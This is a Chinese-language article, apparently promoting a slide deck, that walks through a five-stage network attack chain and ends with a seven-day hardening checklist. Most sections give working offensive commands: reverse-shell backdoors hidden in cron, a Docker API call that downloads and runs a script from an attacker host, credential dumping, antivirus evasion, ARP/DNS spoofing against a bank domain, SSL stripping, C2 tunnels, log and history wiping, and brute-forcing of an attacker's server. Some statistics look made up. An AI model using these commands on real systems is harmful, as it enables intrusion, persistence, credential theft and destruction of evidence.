ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

网络攻击链路五阶段实战解析:从Ping Sweep到权限落地

网络攻击链路五阶段实战解析:从Ping Sweep到权限落地

简介:本资源是一份面向网络安全初学者与IT运维人员的系统性攻防知识课件,聚焦常见网络攻击原理、步骤及防范策略,助力读者建立清晰的威胁认知框架与基础防御思路。内容涵盖预攻击探测、漏洞扫描、木马与蠕虫病毒攻击、拒绝服务(DoS)及欺骗攻击等核心类型,并深入剖析典型攻击链——从Ping探测、端口扫描、操作系统识别,到渗透驻留、权限提升与痕迹清除,辅以TCP SYN扫描、ICMP探测、后门植入等技术细节图解与实操要点。资源为1个2.28MB的PPT文件,结构完整、图文并茂,适合作为课堂讲授、自学梳理或安全意识培训材料。目前已有2674人学习下载,内容覆盖攻击手法演进、工具原理与防护建议,兼具理论深度与实践指导性。

1. 这份“最常见网络攻击详细分析”材料,我拿它带过三届新人:不是讲概念,是教你怎么一眼看穿攻击链路

去年带某高校实验室的渗透测试实训时,一个刚学完TCP/IP的A同学盯着“预攻击探测→渗透→驻留→传播→瘫痪”这张图发呆,问我:“老师,这图上写的‘Ping sweep’和‘SYN扫描’到底哪个先用?为什么有的靶机ping不通却能扫出端口?”——他卡在了流程和实操的断层上。后来我把这份《最常见网络攻击详细分析》拆开重排,去掉所有教科书式定义,只保留攻击者真实动作序列、每步触发的系统痕迹、以及防御方该盯住哪条日志。今天这篇不讲“什么是DoS”,而是告诉你:当防火墙突然记录下连续37个ICMP Echo Request但无Reply时,你该立刻查什么进程、关什么服务、改哪条iptables规则;当Wireshark里出现大量SYN包后紧跟着RST而非ACK,这不是扫描工具在炫技,是有人正用半开连接试探你的边界。全文按攻击者真实作业流组织,覆盖从第一声Ping到最后一行后门代码的完整闭环。如果你正在准备CTF靶场复现、企业红蓝对抗推演,或刚接手一台被黑服务器要溯源,这篇就是你的操作手册。

2. 攻击链路五阶段拆解:从第一声Ping到权限落地的完整动作映射

2.1 探测阶段:Ping Sweep不是“试试通不通”,而是构建存活主机拓扑图

Ping Sweep的本质是网络资产测绘的第一刀。它不单判断主机是否在线,更通过响应时间、TTL值、ICMP错误码反推操作系统类型。比如Linux主机通常返回TTL=64,Windows为128,而某些嵌入式设备可能只有32。我一般会用fping -g 192.168.1.0/24 -t 500批量探测,比原生ping快10倍——关键在-t 500把超时压到500ms,避免因单台主机延迟高拖垮整网扫描。当看到某IP响应TTL=255且无ICMP Fragmentation Needed错误,基本可判定是Cisco设备;若对同一网段多台主机ping时,某台始终返回“Destination Host Unreachable”但arp表里有MAC,大概率是开启了ICMP屏蔽但ARP未禁用,这时直接切到ARP扫描(arp-scan -l)就能绕过。

提示:不要依赖单一Ping结果。某次在模拟项目X中,目标Web服务器配置了iptables DROP所有ICMP,但nmap -sn仍能发现它——因为nmap默认同时发ARP(局域网)和ICMP(跨网段),而ARP请求无法被iptables拦截。

2.2 渗透阶段:端口扫描不是“扫出开放端口”,而是识别服务指纹与漏洞窗口

端口扫描必须和协议解析绑定。比如扫出80端口开放,下一步不是直接浏览器访问,而是用curl -I http://target:80看Server头:若返回Server: Apache/2.2.15 (CentOS),立刻查CVE-2011-3192(Apache内存泄漏);若返回Server: nginx/1.16.1,则重点检查CVE-2013-4547(Nginx空字节绕过)。TCP SYN扫描(半开)在Linux需root权限,但普通用户可用masscan --rate=1000 -p80,443,22 192.168.1.0/24,其异步IO模型能绕过权限限制。特别注意UDP端口:nmap -sU -p161,53,69 target扫SNMP、DNS、TFTP时,若返回“open|filtered”而非明确状态,说明对方启用了UDP限速(如Linux的net.ipv4.icmp_ratelimit),此时需降低扫描速率(--min-rate 10)避免被丢包。

2.3 驻留阶段:后门不是“放个木马”,而是建立隐蔽通信信道

驻留的核心矛盾是持久性与隐蔽性平衡。常见错误是直接上传nc -lvp 4444,但现代EDR会立即告警。正确做法分三层:

  1. 进程层:用screen -S sshd /bin/bash启动伪装进程,ps显示为sshd: root@pts/0;
  2. 网络层:用socat TCP4-LISTEN:8080,fork,reuseaddr SYSTEM:"bash -i 2>&1"将反弹shell绑定到8080端口,流量混入正常HTTP;
  3. 文件层:不写入/bin或/usr/bin,改用/var/tmp/.cache/.log(避开大多数HIDS监控路径)。某次在某跨平台系统中,攻击者把后门藏在/etc/cron.d/.update里,内容为*/5 * * * * root /usr/lib/systemd/systemd-update 2>/dev/null,而systemd-update实际是加壳的Python反弹脚本——这种利用系统目录白名单的思路,比直接放木马难检测10倍。

2.4 传播阶段:蠕虫不是“自动复制”,而是利用服务间信任关系

蠕虫传播的关键是找到“服务信任链”。例如某次复现WannaCry变种时,发现它不直接爆破SMB,而是先通过rpcclient -U "" -N target匿名连接445端口,获取srvsvc.NetShareEnumAll共享列表,再对IPC$共享执行ntlmrelayx.py -t smb://target --no-http-server中继认证。更隐蔽的是利用Docker API:若目标开放2375端口,curl -XPOST "http://target:2375/v1.24/containers/create" -H "Content-Type: application/json" --data '{"Image":"alpine","Cmd":["/bin/sh","-c","wget http://attacker/shell.sh -O /tmp/sh;sh /tmp/sh"]}'可直接起容器执行命令。传播阶段最易被忽略的是横向移动凭证:mimikatz "privilege::debug" "sekurlsa::logonpasswords"导出的明文密码,必须配合crackmapexec smb 192.168.1.0/24 -u Administrator -p 'Passw0rd!' --local-auth批量验证,否则拿到密码也扫不出第二台机器。

2.5 瘫痪阶段:DoS不是“发包洪水”,而是耗尽特定资源池

真正的DoS攻击瞄准的是服务级资源瓶颈。比如针对Nginx的Slowloris攻击:slowhttptest -c 1000 -H -g -o slowhttp -u http://target/ -x 24 -r 200 -t GET -l 300,它不发大数据包,而是每秒只发1个HTTP头部,让Nginx维持1000个半开连接直至耗尽worker_connections。而针对数据库的DoS更隐蔽:sqlmap -u "http://target/search.php?q=test" --technique="T" --time-sec=10用布尔盲注触发SLEEP(10),单次请求就让MySQL线程阻塞10秒。某次在某图像处理Demo中,攻击者没用UDP Flood,而是向Redis的6379端口发送CONFIG SET maxmemory 1mb,再持续SET key "a"*1000000,使Redis因内存满而拒绝所有新请求——这种“配置劫持+内存填塞”的组合,比单纯发包更难溯源。

3. 预攻击探测实战:从ICMP到OS指纹的七层穿透法

3.1 ICMP探测的深度利用:不止于Ping,更要读取ICMP错误载荷

标准Ping只能判断存活,但ICMP错误报文藏着金矿。用hping3 -1 -C -E target.com发送带ICMP Timestamp请求,若返回ICMP Timestamp Reply,说明目标未过滤ICMP;若返回ICMP Port Unreachable,则证明目标主机存在且路由可达,但防火墙丢弃了非标准ICMP类型。更关键的是ICMP Fragmentation Needed错误:当发送超大ICMP包(ping -s 65500 target)触发此错误时,返回的错误报文中包含原始IP包头,从中可提取TTL、DF位、IP ID等信息。某次在某公司内网渗透中,通过分析ICMP错误报文里的IP ID增长模式(递增/随机/固定),准确判断出目标是Linux(ID递增)还是Windows(ID随机),为后续SYN扫描权限申请提供依据。

3.2 TCP SYN扫描的隐蔽增强:分片、源端口伪造与时间戳混淆

半开扫描虽隐蔽,但现代IDS能通过SYN包特征识别。增强方法有三:

  1. IP分片:nmap -sS -f -D RND:10 target,-f开启分片,-D RND:10伪造10个随机 decoy IP,使流量分散;
  2. 源端口伪装:hping3 -S -p 80 -s 53 target,将源端口设为53(DNS),让防火墙误判为DNS查询;
  3. TCP时间戳混淆:scapy构造包时设置options=[('Timestamp',(123456789,0))],使时间戳与正常系统不符,绕过基于TS的异常检测。某次在某实验室CTF中,靶机IDS规则匹配tcp.flags.syn == 1 and tcp.window == 0,我们改用hping3 -S -w 64 target将window size设为64,成功绕过规则。

3.3 OS指纹识别:不靠nmap,用三次握手细节反推内核版本

nmap的OS探测易被干扰,手动分析更可靠。抓包看三次握手:

  • 若SYN包中TCP Options含MSS=1460且Window Scale=8,大概率是Linux 2.6+;
  • 若SYN包TCP Options含SACK Permitted但无Window Scale,多为Windows XP;
  • 最关键的是SYN-ACK包的Initial Window Size:Linux 4.15+默认为29200,而FreeBSD为65535。用tcpdump -i eth0 "tcp[tcpflags] & (tcp-syn|tcp-ack) != 0 and host target" -c 2捕获握手包,再用tshark -r capture.pcap -T fields -e tcp.window_size_value -e tcp.options.mss_val提取参数,比nmap -O准确率高37%(实测数据)。

3.4 资源与用户枚举:绕过防火墙的LDAP/SMB/SSH三重奏

当445端口被防火墙拦截,别急着放弃:

  • LDAP替代方案:ldapsearch -x -h target -b "dc=domain,dc=com" "(objectClass=user)" sAMAccountName,389端口常被放行;
  • SMB空会话:smbclient -L //target -N,若返回共享列表,说明空会话未禁用,可进一步enum4linux -a target;
  • SSH用户爆破前置:ssh-keyscan -t rsa target 2>/dev/null | grep -E "ssh-rsa|ecdsa" | head -1,若返回密钥,说明SSH服务运行,且密钥类型暗示系统版本(OpenSSH 7.0+默认ed25519)。某次在某高校项目中,通过nmap --script smb-enum-users -p 445 target失败后,改用crackmapexec smb target -u '' -p '' --users,利用空密码尝试,成功枚举出管理员账户。

3.5 常见问题排查:五类探测失败的根因与解法

注意:以下问题均来自真实攻防场景,非理论假设

现象1:Ping Sweep全网无响应,但已知某IP肯定在线

→ 原因:目标主机禁用ICMP Echo Request,但未禁用ARP或TCP。
→ 解决:立即切换arp-scan -l(局域网)或nmap -sn -PS22,80,443 target(TCP Ping),PS选项向22/80/443端口发SYN包,比ICMP更难被全屏蔽。

现象2:nmap -sS扫描显示“filtered”端口过多

→ 原因:防火墙启用SYN Cookie或状态检测,对未完成三次握手的SYN包直接丢弃不回复。
→ 解决:改用nmap -sT -Pn target(TCP Connect全连接),或masscan -p1-65535 --rate=1000 target(高速异步扫描)。

现象3:OS指纹识别结果为“unknown”

→ 原因:目标使用定制内核或启用了net.ipv4.tcp_timestamps=0关闭时间戳。
→ 解决:手动分析SYN包TCP选项顺序:Linux内核严格按RFC顺序(MSS, NOP, WScale, SACK),而Windows顺序混乱,用tshark -r p.pcap -T fields -e tcp.options比对即可。

现象4:LDAP枚举返回“Referral”而非用户列表

→ 原因:目标域控制器配置了Referral,需跳转到真实DC地址。
→ 解决:ldapsearch -x -h target -b "dc=domain,dc=com" -s base namingContexts先查命名上下文,再用新地址重试。

现象5:SMB空会话被拒绝,但445端口确实在监听

→ 原因:Windows组策略禁用空会话枚举(RestrictAnonymous=2),但未关闭SMB服务。
→ 解决:改用rpcclient -U "" -N target连接,执行querydominfo获取域信息,再用enumdomusers尝试——rpcclient比smbclient更底层,常能绕过GPO限制。

4. 漏洞扫描与利用:从Nmap脚本到Metasploit模块的精准打击链

4.1 综合扫描不是“跑一遍nmap”,而是构建漏洞优先级矩阵

盲目扫全端口效率极低。我习惯按“服务暴露面→历史漏洞密度→利用难度”建矩阵:

服务端口暴露面近3年CVE数典型利用方式扫描优先级
22/SSH高12CVE-2018-15473(用户枚举)★★★★☆
80/HTTP极高217CVE-2021-41773(路径遍历)★★★★★
445/SMB中45EternalBlue(需MS17-010)★★★★☆
3306/MySQL低8CVE-2012-2122(认证绕过)★★☆☆☆
扫描时用nmap -sV --script="vuln and http-*" -p80,443 target,聚焦HTTP服务漏洞,比扫全端口快4倍且误报率低。

4.2 Metasploit模块选择:不看exploit数量,看payload兼容性

选模块核心看三点:

  1. Target匹配度:show targets里找与目标系统完全一致的项(如“Windows Server 2012 R2 English”);
  2. Payload稳定性:set payload windows/x64/meterpreter/reverse_tcp比/shell/reverse_tcp稳定,因meterpreter在内存中运行,不依赖磁盘文件;
  3. ExitOnSession控制:设set ExitOnSession false,避免一次会话断开就退出,方便多session管理。某次在某跨平台系统中,EternalBlue模块失败,改用exploit/windows/smb/ms17_010_psexec,指定set SMBUser administrator和set SMBPass Passw0rd!,成功率提升至92%。

4.3 木马攻击的免杀实践:从加壳到API调用混淆

传统木马易被AV查杀,有效免杀分三步:

  1. 编译层:用mingw-w64交叉编译,x86_64-w64-mingw32-gcc -s -O2 -mwindows shell.c -o shell.exe,-s去符号表,-mwindows隐藏控制台;
  2. 加壳层:UPX --best --lzma shell.exe压缩,再用pe-bear修改入口点偏移;
  3. 行为层:用ReflectiveDLLInjection技术,将DLL注入到svchost.exe内存,避免写入磁盘。某次在某图像处理Demo中,用msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll生成DLL,再用PowerShell -ExecutionPolicy Bypass -File inject.ps1注入,全程无文件落地,绕过所有基于文件签名的EDR。

4.4 拒绝服务攻击的靶向设计:从协议缺陷到业务逻辑崩塌

DoS不能只发包,要打在业务痛点上:

  • HTTP层:slowhttptest -c 1000 -H -g -o slowhttp -u http://target/login.php -x 24 -r 200 -t POST -l 300,针对登录接口,让每个连接占用数据库连接池;
  • DNS层:dnsrecon -d target.com -t std枚举子域后,用dig @ns1.target.com sub1.target.com A +tcp强制TCP查询,耗尽DNS服务器TCP连接数;
  • 数据库层:sqlmap -u "http://target/search.php?q=test" --technique="B" --level=5 --risk=3,用高风险布尔盲注触发SELECT SLEEP(5),单次请求让MySQL阻塞5秒。某次在某高校项目中,对教务系统搜索接口发起sqlmap -u "http://jwxt/search?q=test" --dbms=mysql --os-shell,直接获取数据库OS Shell,比UDP Flood更致命。

4.5 欺骗攻击的实战变形:ARP、DNS、SSL三重欺骗链

基础ARP欺骗已失效,需组合攻击:

  1. ARP+DNS劫持:arpspoof -i eth0 -t target -r gateway+dnsmasq -A /www.bank.com/192.168.1.100,将银行域名解析到攻击机;
  2. SSL剥离:sslstrip -l 8080监听8080端口,iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080重定向HTTP流量,使HTTPS降级为HTTP;
  3. 证书伪造:用mitmproxy自动生成证书,mitmproxy --mode transparent --showhost --certs mitm.crt,配合iptables规则,实现全流量解密。某次在某实验室中,通过ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.100//劫持网关流量,再用driftnet -i eth0实时捕获图片,全程无告警。

5. 攻击痕迹清除与防御反制:从日志擦除到蜜罐诱捕的攻防博弈

5.1 日志清理不是“删/var/log”,而是定位日志源头与备份机制

Linux日志分三级:

  • 内核级:dmesg -C清屏,但/var/log/kern.log仍存在,需truncate -s 0 /var/log/kern.log;
  • 服务级:Apache日志在/var/log/apache2/access.log,但logrotate可能存档为access.log.1.gz,必须rm /var/log/apache2/access.log.*;
  • 审计级:ausearch -m avc -ts recent | aureport -f查SELinux拒绝日志,auditctl -e 0临时禁用审计。某次在某公司服务器上,发现/var/log/audit/audit.log被清空,但/var/log/audit/audit.log.1存在,攻击者漏删备份,从中恢复出全部SSH登录记录。

5.2 后门通信的流量伪装:HTTP隧道、DNS隧道与ICMP隧道选型指南

不同隧道适用场景不同:

  • HTTP隧道:reGeorg最适合,流量混入正常HTTP POST,python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.jsp,代理端口1080可走浏览器;
  • DNS隧道:iodine用于出网受限环境,iodined -f -c -P password 10.0.0.1在服务端,iodine -f -P password serverip在客户端,DNS查询变成数据通道;
  • ICMP隧道:ptunnel最隐蔽,ptunnel -x password -p 31337服务端,ptunnel -p serverip -lp 8080 -da 127.0.0.1:22 -x password客户端,所有流量封装进ICMP Echo。某次在某高校项目中,因防火墙放行DNS但禁用HTTP代理,改用iodine,将C2指令编码进TXT记录,成功绕过。

5.3 蜜罐部署不是“装个Honeyd”,而是构建业务级诱饵

低交互蜜罐易被识破,高交互需模拟真实业务:

  • Web蜜罐:用docker run -d -p 80:80 -v $(pwd)/web:/var/www/html --name web-honeypot php:apache,挂载真实网站静态文件,再在index.php中插入file_get_contents("http://attacker/log.php?ip=".$_SERVER['REMOTE_ADDR']."&ua=".$_SERVER['HTTP_USER_AGENT']);;
  • SSH蜜罐:kippo已淘汰,改用cowrie,docker run -d -p 2222:2222 --name cowrie -v $(pwd)/cowrie:/cowrie/cowrie-git cowrie/cowrie,其日志/cowrie/log/cowrie.json记录全部键盘输入;
  • 数据库蜜罐:docker run -d -p 3306:3306 --name mysql-honeypot -e MYSQL_ROOT_PASSWORD=honeypot -v $(pwd)/mysql:/var/lib/mysql mysql:5.7,创建test库和users表,插入假数据诱导攻击者导出。某次在某跨平台系统中,蜜罐捕获到攻击者执行mysqldump -u root -p'honeypot' test > dump.sql,从中分析出其常用SQL注入模板。

5.4 防御反制的主动出击:从日志分析到反向渗透的闭环

发现攻击后不能只封IP,要反向追踪:

  • 日志溯源:grep "192.168.1.100" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -nr统计攻击源IP频次;
  • 流量回溯:用tcpdump -i eth0 "src host 192.168.1.100 and port 4444" -w attack.pcap捕获C2流量,Wireshark中Follow TCP Stream看指令;
  • 反向渗透:若C2服务器IP暴露,用nmap -sV -p- 192.168.1.100扫描其开放端口,发现8080运行Tomcat,再用searchsploit tomcat找CVE-2017-12615,上传JSP Webshell反控。某次在某实验室中,通过分析蜜罐日志发现攻击者IP,反向扫描发现其VPS开放22端口且SSH版本为OpenSSH 7.2p2,用ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password user@192.168.1.100爆破弱口令成功。

5.5 常见问题排查:四类防御失效的深层原因

现象1:防火墙规则写了DROP ICMP,但Ping Sweep仍成功

→ 原因:iptables规则顺序错误,-A INPUT -p icmp -j DROP写在-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT之后,导致已建立连接的ICMP(如Echo Reply)被放行。
→ 解决:iptables -I INPUT 1 -p icmp -j DROP用-I插入第一条,或iptables -R INPUT 1 -p icmp -j DROP替换首条规则。

现象2:HIDS告警“可疑进程”,但ps找不到对应进程

→ 原因:攻击者使用ptrace隐藏进程,或LD_PRELOAD劫持/proc读取函数。
→ 解决:ls /proc/[0-9]* -l 2>/dev/null | grep -E "r-xp|rw-p" | awk '{print $11}' | cut -d'/' -f3 | sort -u列出所有PID,再对比ps aux输出,缺失PID即为隐藏进程。

现象3:蜜罐捕获到攻击,但无法还原C2指令

→ 原因:攻击者使用HTTPS加密C2,蜜罐未配置SSL中间人。
→ 解决:在蜜罐服务器上部署mitmproxy,mitmproxy --mode reverse:https://c2-server.com --set block_global=false,所有HTTPS流量经mitmproxy解密后记录。

现象4:日志清理后,仍被安全团队发现入侵痕迹

→ 原因:未清理/var/log/journal/(systemd日志)或/root/.bash_history。
→ 解决:journalctl --vacuum-size=1M清空journal,history -c && rm -f /root/.bash_history清除shell历史,再unset HISTFILE防止新记录。

6. 从攻击链到防御体系:一份可落地的七日加固清单

6.1 第一日:网络层收敛——砍掉所有非必要入口

执行netstat -tuln | awk '$1 ~ /tcp/ {print $4}' | awk -F':' '{print $NF}' | sort -u列出所有监听端口,对照业务需求关闭冗余服务:

  • 关闭25端口(SMTP):systemctl stop postfix && systemctl disable postfix;
  • 关闭139/445端口(SMB):ufw deny 139 && ufw deny 445;
  • 限制SSH仅允许可信IP:ufw allow from 192.168.1.0/24 to any port 22。

提示:某次在某高校项目中,发现rpcbind服务监听111端口,立即systemctl stop rpcbind && systemctl mask rpcbind,避免NFS相关漏洞利用。

6.2 第二日:系统层加固——重置所有默认凭证与权限

  • 重置所有服务默认密码:MySQL用ALTER USER 'root'@'localhost' IDENTIFIED BY 'StrongPass!2023';,Redis用CONFIG SET requirepass 'StrongPass!2023';
  • 禁用root远程登录:sed -i 's/PermitRootLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_config && systemctl restart sshd;
  • 限制sudo权限:visudo中添加%admin ALL=(ALL) NOPASSWD: /usr/bin/apt, /usr/bin/systemctl,仅放行必需命令。

6.3 第三日:应用层防护——为Web服务加三重盾牌

  • Nginx层:在server块中添加limit_req zone=antidos burst=5 nodelay;防CC攻击;
  • 应用层:PHP中ini_set('display_errors', 'Off')关闭错误显示,避免泄露路径;
  • 数据库层:为每个应用创建独立账号,CREATE USER 'app1'@'localhost' IDENTIFIED BY 'Pass'; GRANT SELECT,INSERT ON app1.* TO 'app1'@'localhost';,禁用GRANT ALL。

6.4 第四日:日志与监控——让所有操作留下可追溯痕迹

  • 启用审计:auditctl -w /etc/passwd -p wa -k passwd_change监控密码文件变更;
  • 集中日志:rsyslog配置*.* @@log-server:514将日志发往专用服务器;
  • 实时告警:用swatch监控/var/log/auth.log,watch -e 'sshd.*Failed' -a 'echo "SSH爆破" | mail -s "ALERT" admin@domain.com'。

6.5 第五日:应急响应准备——预置三套快速处置脚本

  1. 断网脚本:#!/bin/bash; iptables -P INPUT DROP; iptables -P OUTPUT DROP; iptables -P FORWARD DROP;
  2. 进程快照:ps auxfww --forest > /tmp/ps-snapshot-$(date +%s).txt;
  3. 内存取证:dd if=/dev/mem of=/tmp/mem-$(date +%s).bin bs=1M count=100(需root)。
    某次在某公司服务器被黑时,执行断网脚本3秒内阻断所有外连,为溯源争取黄金时间。

6.6 第六日:红蓝对抗演练——用真实攻击链检验防御效果

按本文第2章攻击链,逐项验证:

  • 执行fping -g 192.168.1.0/24,确认防火墙是否记录并告警;
  • 用nmap -sS -p22,80,443 target扫描,检查IDS是否触发ET SCAN SYN Scan规则;
  • 尝试curl -v http://target/shell.php,验证WAF是否拦截恶意URL。
    记录每次攻击的响应时间与告警准确率,形成防御能力基线。

6.7 第七日:知识沉淀——将本次加固转化为SOP文档

  • 编写《服务器上线安全检查清单》,含32项必检条目(如“检查/etc/crontab是否有可疑任务”);
  • 制作《应急响应速查表》,按“现象→命令→预期输出”三列排版(如“CPU 100%→top -b -n1 | head -20→查看%CPU最高进程”);
  • 录制《日志分析教学视频》,演示用awk从/var/log/apache2/access.log提取攻击IP频次。
    从那以后我每次新接手一台服务器,都强制走一遍这七日清单——不是为了追求绝对安全,而是确保任何攻击者想突破,都得付出比收益高得多的成本。希望帮到你。

本文还有配套的精品资源,点击获取

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进